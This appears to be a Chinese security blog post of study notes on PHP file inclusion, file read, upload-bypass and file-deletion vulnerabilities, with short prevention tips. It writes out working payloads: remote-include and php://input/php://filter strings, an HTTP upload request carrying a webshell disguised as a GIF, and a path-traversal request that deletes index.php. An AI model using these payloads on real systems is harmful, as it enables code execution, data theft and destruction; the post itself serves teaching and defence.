文件操作

warning: 这篇文章距离上次修改已过259天,其中的内容可能已经有所变动。

文件操作(文件包含、文件读取、文件删除)

文件包含

简述&&&原理

如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行以及敏感信息的泄露,主要包括本地文件和远程文件包含。文件包含是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。

常见包含函数:include(),require()

区别:

  • include是当代码执行到他的时候才加载文件,发生错误的时候只是发出警告,但仍然继续执行
  • require是只要执行就会立即调用文件,发生错误的时候会报错,并且终止脚本的运行
    require一般是用于文件头包含类文件、数据库等等文件。。。而include一般是用于包含html模板文件

本地包含

1.包含目录文件

?f=text.txt
如果里面的内容是php,则继续当成php执行,如果不是php则会读取文件内容
?f=./../text.txt
./是当前目录../是上一级目录。这样来遍历目录来读取文件

远程包含

1.远程代码执行:

?file=[http|https|ftp]://example.com/shell.txt

2.利用php流input(接受POST过来的值):

?file=php://input
eg

http://192.168.227.128/other/lfi/ex1.php?f=php://input
<?php phpinfo();?>(ps.经过post)
3.利用php流filter

php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
include “test.php” php文件包含,在执行流中插入写在其他文件中的有用的代码。读取的时候也是数据流形式,因此可以使用php://filter进行过滤,返回值为0,1。
readfile(“test.php”)是将文件以数据流的形式取过来,并不会执行,但会在前台浏览器上进行解析。返回值是字节数多少。
?file=php://filter/convert.base64-encode/resource=index.php

这里就可以顺带提一下php://输入输出流

PHP提供了php://的协议允许访问PHP的输入输出流、标准输入输出流和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。提供一些访问方式来使用这些封装器

php://stdin
php://stdout
php://stderr
php://input(访问请求的原始数据的只读流,也就是可以直接读取到POST上没有经过解析的原始数据)
php://output(与input相反,是一个只写的数据流)
php://fd
php://memory
php://temp
php://filter(文件操作的协议,可以对磁盘中的文件镜像读写操作,就类似于readfile()函数的效果)

文件包含截断

  • %00截断
    这是一种古老的方法- -。。%00截断受限于GPC和addslashes等函数的过滤,也就是说在开启GPC的情况下是行不通的。而且据说在php5.3之后的版本已经修复了这个东西。不过在一些CTF比赛中还是有出现的。
  • 用多个.和/来截断

文件读取/下载

这个漏洞就是在部分程序在下载文件或者读取文件的时候,读取文件参数filename直接在请求里面传递,后台程序获取这个文件路径后
直接读取返回,问题就在于这个参数是用户可控的,可以直接传入想要读取的文件路径,然后就可以利用。

挖掘方法

  • 直接找一些关键的函数:`file_get_contents()、
    highlight_file() 、fopen()、readfile()、fread()、fgetss()、parse_ini_file()、show_source()、file()`
  • 如果有文件包含的函数比如include,就可以用php输出输入流php://filter/来读取文件。

有一个不明所以的栗子

是phpcms v9的一个任意文件读取漏洞代码是这样的

public function public_get_suggest_keyword(){
     $url=$_GET['url'].'&q='.$_GET['url'];
     $res=@file_get_contents($url);
     if(CHARSET!='gbk'){
        $res=iconv('gbk',CHARSET,$res);
     }
     echo $res;
}

这个大概的意思就是函数get_suggest_keyword直接从GET参数里面获取url,然后又用文件读取函数读取内容。

文件上传

看起来文件上传应该是最简单的一个,因为一般可以上传文件的地方比较少,然后什么什么大多web应用都是基于框架来写的,上传的点调用的是同一个上传类,上传函数又只有move_uploaded_file()一个,所以在审计的时候直接找这个函数就行了。

未过滤或者本地过滤

其实两个都有一个共同点,就是都是在服务器端未过滤,就是没有限制任何格式的文件上传

黑名单扩展名过滤

我觉得就是进行一些限制,定义不能上传的文件扩展名,但是我觉得,总会有过滤不完的时候hhhhhhh
在CSDN上找到一些黑名单过滤的代码

<?php  
    $BlackList = array('asp','php','jsp','php5','asa','aspx');//黑名单  
    if (isset($_POST["submit"])){  
        $name = $_FILES['file']['name']; //接收文件名  
        echo $name;  
        $extension = substr(strrchr($name,"."),1);//得到扩展名  
        $boo = false;  

        foreach ($BlackList as $key=>$value){  
            if ($value==$extension){//迭代判断是否有命中  
                $boo=true;  
                break;//命中之后直接退出循环  
            }  
        }  

        if(!$boo){//如果没有命中,则开始文件上传操作  
            $size=$_FILES['file']['size'];//接收文件大小  
            $tmp=$_FILES['file']['tmp_name'];//临时路径  
            move_uploaded_file($tmp,$name);//移动临时文件到当前文件目录  
            echo "文件上传成功!<br/> path:".$name;  
        }else {  
            echo "文件不合法!!";  
        }  

    }  
?>

缺点

  • 限制扩展名不够全比如在IIS下执行ASP代码,有很多扩展名,什么.asp啊、cdx、asa、cer。
  • 可以结合PHP和系统特性来截断文件名从而绕过,像上面%00截断之类的。

文件头、content-type验证绕过

听说这两种方法挺早的
程序靠一些不可靠的函数来验证是不是图片文件,比如getimagesize(),只要文件头是“GIF89a”就会返回一个图片尺寸的数组,就可以上传
content-type是在http request请求头里面
假如服务端上的upload.php 代码如下

<?php
if($_FILES['userfile']['type'] != "image/gif") { //检测Content-type
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

然后我们可以将request 包的Content-Type 修改

POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原为Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.</pre>

像这种服务端检测HTTP 包的Content-Type 都可以用这种类似的方法来绕过检测
在网上发现两个比较详细的文件上传验证绕过的文章click1 click2

文件删除漏洞

一些有文件管理功能的应用上比较多,同时这些应用肯定也有文件上传和读取,原理跟文件读取漏洞是差不多的,只是函数不一样unlink()还是来个栗子分析一哈嘛,是一个企业的内容管理系统漏洞。

if($action=='delete'){
    if(if_array($filenames)){
        foreach($filenames as $filename){
            if(fileext($filename)=='sql'){
                @unlink('../databack/'.$filename);
            }
        }
    }else{
        if(fileext($filenames)=='sql'){
            $filenamearray=explode(".sql",$filenames);
            @unlink('../../databack/'.$filenames);
            @unlink('../../databack/sql/metinfo_'.$filenamearray[0].".zip");
        }else{
        //如果不是sql文件,直接删除
            @unlink('../../databack/'.$fileon.'/'.$filenames);
        }
    }

首先判断请求的action参数是不是delete,如果是就进入文件删除功能,然后后面在判断是不是sql文件,如果不是就直接在databack目录删除提交的文件名,然后$filenames函数从GET中提交,直接请求?&action=delete&filenames=../../index.php就可以删除index.php文件。

漏洞防范

文件上传漏洞防范

  • 白名单方法过滤文件扩展名,用in_array或者===来对比扩展名
  • 保存上传的文件是重命名文件,文件名命名规则用时间戳的拼接随机数的md5方式"md5(time()+rand(1,1000))"

添加新评论